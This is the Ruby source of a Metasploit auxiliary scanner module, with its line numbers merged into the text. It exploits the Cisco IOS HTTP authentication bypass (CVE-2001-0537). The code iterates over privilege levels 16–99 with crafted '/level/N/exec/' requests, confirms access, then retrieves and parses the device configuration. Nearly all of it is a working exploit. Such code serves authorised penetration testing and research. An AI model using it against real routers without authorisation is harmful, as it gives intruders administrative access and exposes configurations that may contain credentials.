Path: blob/master/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67# Exploit mixins should be called first8include Msf::Exploit::Remote::HttpClient910# Include Cisco utility methods11include Msf::Auxiliary::Cisco1213# Scanner mixin should be near last14include Msf::Auxiliary::Scanner1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Cisco IOS HTTP Unauthorized Administrative Access',21'Description' => %q{22This module exploits a vulnerability in the Cisco IOS HTTP Server.23By sending a GET request for "/level/num/exec/..", where num is between2416 and 99, it is possible to bypass authentication and obtain full system25control. IOS 11.3 -> 12.2 are reportedly vulnerable. This module26tested successfully against a Cisco 1600 Router IOS v11.3(11d).27},28'Author' => [ 'aushack', 'hdm' ],29'License' => MSF_LICENSE,30'References' => [31[ 'BID', '2936'],32[ 'CVE', '2001-0537'],33[ 'OSVDB', '578' ],34],35'DisclosureDate' => '2001-06-27',36'Notes' => {37'Reliability' => UNKNOWN_RELIABILITY,38'Stability' => UNKNOWN_STABILITY,39'SideEffects' => UNKNOWN_SIDE_EFFECTS40}41)42)43end4445def run_host(ip)4616.upto(99) do |level|47res = send_request_cgi({48'uri' => "/level/#{level}/exec/show/version/CR",49'method' => 'GET'50}, 20)5152if res and res.body and res.body =~ /Cisco Internetwork Operating System Software/53print_good("#{rhost}:#{rport} Found vulnerable privilege level: #{level}")5455report_vuln(56{57:host => rhost,58:port => rport,59:proto => 'tcp',60:name => self.name,61:sname => ssl ? "https" : "http",62:info => "Module #{self.fullname} successfully accessed http://#{rhost}:#{rport}/level/#{level}/exec/show/version/CR",63:refs => self.references,64:exploited_at => Time.now.utc65}66)6768res = send_request_cgi({69'uri' => "/level/#{level}/exec/show/config/CR",70'method' => 'GET'71}, 20)7273if res and res.body and res.body =~ /<FORM METHOD([^\>]+)\>(.*)<\/FORM>/mi74config = $2.strip75print_good("#{rhost}:#{rport} Processing the configuration file...")76cisco_ios_config_eater(rhost, rport, config)77report_exploit(78{79:host => rhost,80:port => rport,81:name => self.name,82:sname => ssl ? "https" : "http",83:info => "Module #{self.fullname} successfully captured the configuration file:\n#{config}"84}85)86else87print_error("#{rhost}:#{rport} Error: could not retrieve the IOS configuration")88end8990break91end92end93end94end959697